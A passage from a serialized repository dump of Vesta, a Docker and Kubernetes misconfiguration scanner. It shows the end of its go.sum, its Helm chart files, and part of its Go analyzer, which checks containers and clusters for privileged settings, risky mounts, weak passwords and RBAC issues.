h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=\ngoogle.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=\ngoogle.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=\ngoogle.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=\ngoogle.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=\ngoogle.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=\ngoogle.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=\ngoogle.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=\ngoogle.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=\ngoogle.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=\ngoogle.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=\ngoogle.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=\ngoogle.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU=\ngopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=\ngopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=\ngopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=\ngopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=\ngopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=\ngotest.tools/v3 v3.3.0 h1:MfDY1b1/0xN1CyMlQDac0ziEy9zJQd9CXBRRDHw2jJo=\ngotest.tools/v3 v3.3.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A=\nhonnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=\nhonnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nhonnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nk8s.io/api v0.22.5 h1:xk7C+rMjF/EGELiD560jdmwzrB788mfcHiNbMQLIVI8=\nk8s.io/api v0.22.5/go.mod h1:mEhXyLaSD1qTOf40rRiKXkc+2iCem09rWLlFwhCEiAs=\nk8s.io/apimachinery v0.22.5 h1:cIPwldOYm1Slq9VLBRPtEYpyhjIm1C6aAMAoENuvN9s=\nk8s.io/apimachinery v0.22.5/go.mod h1:xziclGKwuuJ2RM5/rSFQSYAj0zdbci3DH8kj+WvyN0U=\nk8s.io/client-go v0.22.5 h1:I8Zn/UqIdi2r02aZmhaJ1hqMxcpfJ3t5VqvHtctHYFo=\nk8s.io/client-go v0.22.5/go.mod h1:cs6yf/61q2T1SdQL5Rdcjg9J1ElXSwbjSrW2vFImM4Y=\nk8s.io/gengo v0.0.0-20200413195148-3a45101e95ac/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=\nk8s.io/klog/v2 v2.0.0/go.mod h1:PBfzABfn139FHAV07az/IF9Wp1bkk3vpT2XSJ76fSDE=\nk8s.io/klog/v2 v2.9.0/go.mod h1:hy9LJ/NvuK+iVyP4Ehqva4HxZG/oXyIS3n3Jmire4Ec=\nk8s.io/klog/v2 v2.30.0 h1:bUO6drIvCIsvZ/XFgfxoGFQU/a4Qkh0iAlvUR7vlHJw=\nk8s.io/klog/v2 v2.30.0/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0=\nk8s.io/kube-openapi v0.0.0-20211109043538-20434351676c/go.mod h1:vHXdDvt9+2spS2Rx9ql3I8tycm3H9FDfdUoIuKCefvw=\nk8s.io/utils v0.0.0-20210819203725-bdf08cb9a70a/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA=\nk8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed h1:jAne/RjBTyawwAy0utX5eqigAwz/lQhTmy+Hr/Cpue4=\nk8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA=\nlukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=\nlukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=\nmodernc.org/cc/v3 v3.36.0 h1:0kmRkTmqNidmu3c7BNDSdVHCxXCkWLmWmCIVX4LUboo=\nmodernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI=\nmodernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc=\nmodernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw=\nmodernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ=\nmodernc.org/ccgo/v3 v3.16.6 h1:3l18poV+iUemQ98O3X5OMr97LOqlzis+ytivU4NqGhA=\nmodernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ=\nmodernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=\nmodernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=\nmodernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=\nmodernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=\nmodernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA=\nmodernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A=\nmodernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU=\nmodernc.org/libc v1.16.7 h1:qzQtHhsZNpVPpeCu+aMIQldXeV1P0vRhSqCL0nOIJOA=\nmodernc.org/libc v1.16.7/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU=\nmodernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=\nmodernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=\nmodernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=\nmodernc.org/memory v1.1.1 h1:bDOL0DIDLQv7bWhP3gMvIrnoFw+Eo6F7a2QK9HPDiFU=\nmodernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=\nmodernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=\nmodernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=\nmodernc.org/sqlite v1.17.3 h1:iE+coC5g17LtByDYDWKpR6m2Z9022YrSh3bumwOnIrI=\nmodernc.org/sqlite v1.17.3/go.mod h1:10hPVYar9C0kfXuTWGz8s0XtB8uAGymUy51ZzStYe3k=\nmodernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=\nmodernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=\nmodernc.org/tcl v1.13.1 h1:npxzTwFTZYM8ghWicVIX1cRWzj7Nd8i6AqqX2p+IYao=\nmodernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw=\nmodernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=\nmodernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=\nmodernc.org/z v1.5.1 h1:RTNHdsrOpeoSeOF4FbzTo8gBYByaJ5xT7NgZ9ZqRiJM=\nmodernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8=\nrsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=\nrsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=\nrsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=\nsigs.k8s.io/structured-merge-diff/v4 v4.0.2/go.mod h1:bJZC9H9iH24zzfZ/41RGcq60oK1F7G282QMXDPYydCw=\nsigs.k8s.io/structured-merge-diff/v4 v4.1.2 h1:Hr/htKFmJEbtMgS/UD0N+gtgctAqz81t3nu+sPzynno=\nsigs.k8s.io/structured-merge-diff/v4 v4.1.2/go.mod h1:j/nl6xW8vLS49O8YvXW1ocPhZawJtm+Yrr7PPRQ0Vg4=\nsigs.k8s.io/yaml v1.2.0 h1:kr/MCeFWJWTwyaHoR9c8EjH9OumOmoF9YGiZd7lFm/Q=\nsigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=\n"
  },
  {
    "path": "helm/vesta/.helmignore",
    "content": "# Patterns to ignore when building packages.\n# This supports shell glob matching, relative path matching, and\n# negation (prefixed with !). Only one pattern per line.\n.DS_Store\n# Common VCS dirs\n.git/\n.gitignore\n.bzr/\n.bzrignore\n.hg/\n.hgignore\n.svn/\n# Common backup files\n*.swp\n*.bak\n*.tmp\n*.orig\n*~\n# Various IDEs\n.project\n.idea/\n*.tmproj\n.vscode/\n"
  },
  {
    "path": "helm/vesta/Chart.yaml",
    "content": "apiVersion: v2\nname: vesta\ndescription: Vesta helm chart\ntype: application\nversion: 0.1.0\nappVersion: \"1.0.11\"\nkeywords:\n  - scanner\n  - vesta\n  - vulnerability\n  - k8s\nsources:\n  - https://github.com/kvesta/vesta\n"
  },
  {
    "path": "helm/vesta/README.md",
    "content": "# Vesta Scanner\n\nVesta toolkit standalone installation.\n\n## TL;DR;\n\n```\n$ helm install vesta . --namespace vesta --create-namespace\n```\n\n## Introduction\n\nThis chart bootstraps a Trivy deployment on a [Kubernetes](http://kubernetes.io) cluster using the\n[Helm](https://helm.sh) package manager.\n\n## Prerequisites\n\n- Kubernetes 1.12+\n- Helm 3+"
  },
  {
    "path": "helm/vesta/templates/_helpers.tpl",
    "content": "{{/*\nExpand the name of the chart.\n*/}}\n{{- define \"vesta.name\" -}}\n{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCreate a default fully qualified app name.\nWe truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).\nIf release name contains chart name it will be used as a full name.\n*/}}\n{{- define \"vesta.fullname\" -}}\n{{- if .Values.fullnameOverride }}\n{{- .Values.fullnameOverride | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- $name := default .Chart.Name .Values.nameOverride }}\n{{- if contains $name .Release.Name }}\n{{- .Release.Name | trunc 63 | trimSuffix \"-\" }}\n{{- else }}\n{{- printf \"%s-%s\" .Release.Name $name | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n{{- end }}\n{{- end }}\n\n{{/*\nCreate chart name and version as used by the chart label.\n*/}}\n{{- define \"vesta.chart\" -}}\n{{- printf \"%s-%s\" .Chart.Name .Chart.Version | replace \"+\" \"_\" | trunc 63 | trimSuffix \"-\" }}\n{{- end }}\n\n{{/*\nCommon labels\n*/}}\n{{- define \"vesta.labels\" -}}\nhelm.sh/chart: {{ include \"vesta.chart\" . }}\n{{ include \"vesta.selectorLabels\" . }}\n{{- if .Chart.AppVersion }}\napp.kubernetes.io/version: {{ .Chart.AppVersion | quote }}\n{{- end }}\napp.kubernetes.io/managed-by: {{ .Release.Service }}\n{{- end }}\n\n{{/*\nSelector labels\n*/}}\n{{- define \"vesta.selectorLabels\" -}}\napp.kubernetes.io/name: {{ include \"vesta.name\" . }}\napp.kubernetes.io/instance: {{ .Release.Name }}\n{{- end }}\n\n{{/*\nCreate the name of the service account to use\n*/}}\n{{- define \"vesta.serviceAccountName\" -}}\n{{- if .Values.serviceAccount.create }}\n{{- default (include \"vesta.fullname\" .) .Values.serviceAccount.name }}\n{{- else }}\n{{- default \"default\" .Values.serviceAccount.name }}\n{{- end }}\n{{- end }}\n"
  },
  {
    "path": "helm/vesta/templates/clusterrole.yaml",
    "content": "kind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: {{ .Release.Name }}-clusterrole\n  namespace: {{ .Release.Namespace }}\nrules:\n  - apiGroups: [\"*\"]\n    resources: [\"*\"]\n    verbs: [\"get\", \"watch\", \"list\"]"
  },
  {
    "path": "helm/vesta/templates/clusterrolebinding.yaml",
    "content": "kind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: {{ include \"vesta.fullname\" . }}-clusterrolebinding\nsubjects:\n  - kind: ServiceAccount\n    name: {{ include \"vesta.fullname\" . }}\n    namespace: {{ .Release.Namespace }}\nroleRef:\n  kind: ClusterRole\n  name: {{ .Release.Name }}-clusterrole\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "helm/vesta/templates/job.yaml",
    "content": "{{- range $job := .Values.jobs }}\n---\napiVersion: batch/v1\nkind: Job\nmetadata:\n  name: \"{{ $job.name }}\"\n\nspec:\n  template:\n    spec:\n      serviceAccountName: {{ include \"vesta.fullname\" $ }}\n      containers:\n      - name: {{ $job.name }}\n        image: \"{{ $job.image.repository }}:{{ $job.image.tag }}\"\n        imagePullPolicy: {{ $job.image.pullPolicy }}\n        args:\n          {{- range $value := $job.args }}\n          - {{ $value}}\n          {{- end }}\n      restartPolicy: {{ $job.image.restartPolicy }}\n\n{{- end }}\n"
  },
  {
    "path": "helm/vesta/templates/serviceaccount.yaml",
    "content": "apiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: {{ include \"vesta.fullname\" . }}\n  namespace: {{ .Release.Namespace }}"
  },
  {
    "path": "helm/vesta/values.yaml",
    "content": "nameOverride: \"\"\nfullnameOverride: \"\"\n\njobs:\n  - name: vesta\n    image:\n      registry: docker.io\n      repository: kvesta/vesta\n      tag: latest\n      pullPolicy: IfNotPresent\n      restartPolicy: OnFailure\n    args:\n      - \"analyze\"\n      - \"k8s\""
  },
  {
    "path": "internal/analyzer/analyze.go",
    "content": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/docker/docker/api/types\"\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/pkg/osrelease\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)\n\nfunc (s *Scanner) Analyze(ctx context.Context) error {\n\tdockerInps, err := s.DApi.GetAllContainers()\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"Is the docker daemon running\") {\n\t\t\tlog.Printf(\"Cannot connect to docker service\")\n\t\t\treturn err\n\t\t}\n\t\tlog.Printf(\"Cannot get all docker inpector, error: %v\", err)\n\t\treturn err\n\t}\n\n\tdockerImages, err := s.DApi.GetAllImage()\n\tif err != nil {\n\t\tlog.Printf(\"Cannot get all docker images, error: %v\", err)\n\t}\n\n\terr = s.checkDockerContext(ctx, dockerImages)\n\tif err != nil {\n\t\tlog.Printf(\"failed to check docker context, error: %v\", err)\n\t}\n\n\tlog.Printf(config.Yellow(\"Begin container analyzing\"))\n\tfor _, in := range dockerInps {\n\t\terr := s.checkDockerList(in)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Container %s check error, %v\", in.ID[:12], err)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (ks *KScanner) Kanalyze(ctx context.Context) error {\n\n\terr := ks.checkKubernetesList(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (s *Scanner) checkDockerList(config *types.ContainerJSON) error {\n\n\tvar isVulnerable = false\n\tths := []*threat{}\n\n\t// Checking privileged\n\tif ok, tlist := checkPrivileged(config); ok {\n\t\tths = append(ths, tlist...)\n\t\tisVulnerable = true\n\t}\n\n\t// Checking mount volumes\n\tif ok, tlist := checkMount(config); ok {\n\t\tths = append(ths, tlist...)\n\t\tisVulnerable = true\n\t}\n\n\t// Checking the strength of password\n\tif ok, tlist := checkEnvPassword(config); ok {\n\t\tths = append(ths, tlist...)\n\t\tisVulnerable = true\n\t}\n\n\t// Checking network model\n\tif ok, tlist := checkNetworkModel(config, s.EngineVersion); ok {\n\t\tths = append(ths, tlist...)\n\t\tisVulnerable = true\n\t}\n\n\tif ok, tlist := checkPid(config); ok {\n\t\tths = append(ths, tlist...)\n\t\tisVulnerable = true\n\t}\n\n\t// Checking whether used the dangerous image\n\tif ok, tlist := checkImageUsed(config, s.VulnContainers); ok {\n\t\tths = append(ths, tlist...)\n\t\tisVulnerable = true\n\t}\n\n\tif isVulnerable {\n\t\tsortSeverity(ths)\n\n\t\tcon := &container{\n\t\t\tContainerID:   config.ID[:12],\n\t\t\tContainerName: config.Name[1:],\n\n\t\t\tThreats: ths,\n\t\t}\n\n\t\tif s.DApi.FindDockerService(con.ContainerName) {\n\t\t\tcon.ContainerID += \" | running in Docker Swarm\"\n\t\t}\n\n\t\ts.VulnContainers = append(s.VulnContainers, con)\n\t}\n\n\treturn nil\n}\n\nfunc (ks *KScanner) checkKubernetesList(ctx context.Context) error {\n\n\tversion, err := ks.KClient.ServerVersion()\n\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"connection refused\") {\n\t\t\tlog.Printf(\"kubelet is not start\")\n\t\t} else {\n\t\t\tlog.Printf(\"failed to start Kubernetes, error: %v\", err)\n\t\t}\n\t\treturn err\n\t}\n\tks.Version = version.String()\n\n\t// If k8s version less than v1.24, using the docker checking\n\tif compareVersion(ks.Version, \"1.24\", \"0.0\") && !ctx.Value(\"inside\").(bool) {\n\t\terr = ks.dockershimCheck(ctx)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to use docker to check, error: %v\", err)\n\t\t}\n\t} else {\n\t\terr = ks.kernelCheck(ctx)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to check kernel version, error: %v\", err)\n\t\t}\n\t}\n\n\tnsList, err := ks.KClient.\n\t\tCoreV1().\n\t\tNamespaces().List(context.TODO(), metav1.ListOptions{})\n\n\tif err != nil {\n\t\tlog.Printf(\"get namespace failed: %v\", err)\n\t}\n\n\terr = ks.getNodeInfor(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"failed to get node information: %v\", err)\n\t}\n\n\t// Check RBAC rules\n\terr = ks.checkClusterBinding()\n\tif err != nil {\n\t\tlog.Printf(\"check RBAC failed, %v\", err)\n\t}\n\n\tlog.Printf(config.Yellow(\"Begin Pods analyzing\"))\n\tlog.Printf(config.Yellow(\"Begin ConfigMap and Secret analyzing\"))\n\tlog.Printf(config.Yellow(\"Begin RoleBinding analyzing\"))\n\tlog.Printf(config.Yellow(\"Begin Job and CronJob analyzing\"))\n\tlog.Printf(config.Yellow(\"Begin DaemonSet analyzing\"))\n\n\tif ctx.Value(\"nameSpace\") == \"all\" || ctx.Value(\"nameSpace\") != \"standard\" {\n\t\tnamespaceWhileList = []string{}\n\t}\n\n\t// Check configuration in namespace\n\tif ctx.Value(\"nameSpace\") != \"standard\" && ctx.Value(\"nameSpace\") != \"all\" {\n\t\tns := ctx.Value(\"nameSpace\")\n\n\t\terr = ks.checkRoleBinding(ns.(string))\n\t\tif err != nil {\n\t\t\tlog.Printf(\"check role binding failed in namespace: %s, %v\", ns.(string), err)\n\t\t}\n\n\t\terr = ks.checkConfigMap(ns.(string))\n\t\tif err != nil {\n\t\t\tlog.Printf(\"check config map failed in namespace: %s, %v\", ns.(string), err)\n\t\t}\n\n\t\terr = ks.checkSecret(ns.(string))\n\t\tif err != nil {\n\t\t\tlog.Printf(\"check secret failed in namespace: %s, %v\", ns.(string), err)\n\t\t}\n\n\t\terr := ks.checkPod(ns.(string))\n\t\tif err != nil {\n\t\t\tlog.Printf(\"check pod failed in namespace: %s, %v\", ns.(string), err)\n\t\t}\n\n\t\terr = ks.checkDaemonSet(ns.(string))\n\t\tif err != nil {\n\t\t\tlog.Printf(\"check daemonset failed in namespace: %s, %v\", ns.(string), err)\n\t\t}\n\n\t\terr = ks.checkJobsOrCornJob(ns.(string))\n\t\tif err != nil {\n\t\t\tlog.Printf(\"check job failed in namespace: %s, %v\", ns.(string), err)\n\t\t}\n\n\t} else {\n\t\tfor _, ns := range nsList.Items {\n\n\t\t\tisNecessary := true\n\n\t\t\t// Check whether in the white list of namespaces\n\t\t\tfor _, nswList := range namespaceWhileList {\n\t\t\t\tif ns.Name == nswList {\n\t\t\t\t\tisNecessary = false\n\t\t\t\t}\n\t\t\t}\n\n\t\t\terr = ks.checkConfigMap(ns.Name)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"check config map failed in namespace: %s, %v\", ns.Name, err)\n\t\t\t}\n\n\t\t\terr = ks.checkSecret(ns.Name)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"check secret failed in namespace %s, %v\", ns.Name, err)\n\t\t\t}\n\n\t\t\tif isNecessary {\n\t\t\t\terr = ks.checkRoleBinding(ns.Name)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"check role binding failed in namespace: %s, %v\", ns.Name, err)\n\t\t\t\t}\n\n\t\t\t\terr := ks.checkPod(ns.Name)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"check pod failed in namespace: %s, %v\", ns.Name, err)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\terr = ks.checkDaemonSet(ns.Name)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"check daemonset failed in namespace: %s, %v\", ns.Name, err)\n\t\t\t}\n\n\t\t\terr = ks.checkJobsOrCornJob(ns.Name)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"check job failed in namespace: %s, %v\", ns.Name, err)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check PV and PVC\n\terr = ks.checkPersistentVolume()\n\tif err != nil {\n\t\tlog.Printf(\"check pv and pvc failed, %v\", err)\n\t}\n\n\t// Check PodSecurityPolicy\n\terr = ks.checkPodSecurityPolicy()\n\tif err != nil {\n\t\tlog.Printf(\"check podSecurityPolicy failed, %v\", err)\n\t}\n\n\t// Check certification expiration\n\terr = ks.checkCerts()\n\tif err != nil {\n\t\tlog.Printf(\"check certification expiration failed, %v\", err)\n\t}\n\n\t// Check Kubernetes CNI\n\terr = ks.checkCNI()\n\tif err != nil 